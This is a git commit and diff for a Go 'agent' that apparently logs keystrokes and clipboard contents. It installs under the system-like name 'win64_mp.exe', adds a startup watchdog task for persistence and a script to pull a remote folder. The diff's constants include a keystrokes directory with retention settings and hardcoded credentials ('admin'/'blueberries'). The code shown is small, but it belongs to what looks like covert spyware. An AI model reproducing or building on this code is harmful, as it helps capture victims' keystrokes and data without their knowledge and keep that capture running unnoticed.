feat(agent): add crash logs and watchdog startup

- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API
This commit is contained in:
2026-09-01 20:04:20 +03:00
parent 2ce438852a
commit 36cb847f9e
11 changed files with 458 additions and 8 deletions
+10
View File
@@ -25,7 +25,9 @@ const (
AppDataDir = "win64_mp"
InstalledExeName = "win64_mp.exe"
KeylogSubdir = "keystrokes"
LogsSubdir = "logs"
ClipboardSubdir = "clipboard"
WatchdogTaskName = "win64_mp_watchdog"
DefaultKeylogRetentionDays = 7
AuthUser = "admin"
AuthPass = "blueberries"
@@ -67,6 +69,14 @@ func KeylogDir() (string, error) {
return filepath.Join(base, KeylogSubdir), nil
}
func LogsDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, LogsSubdir), nil
}
func InstallDir() (string, error) {
base, err := os.UserConfigDir()
if err != nil {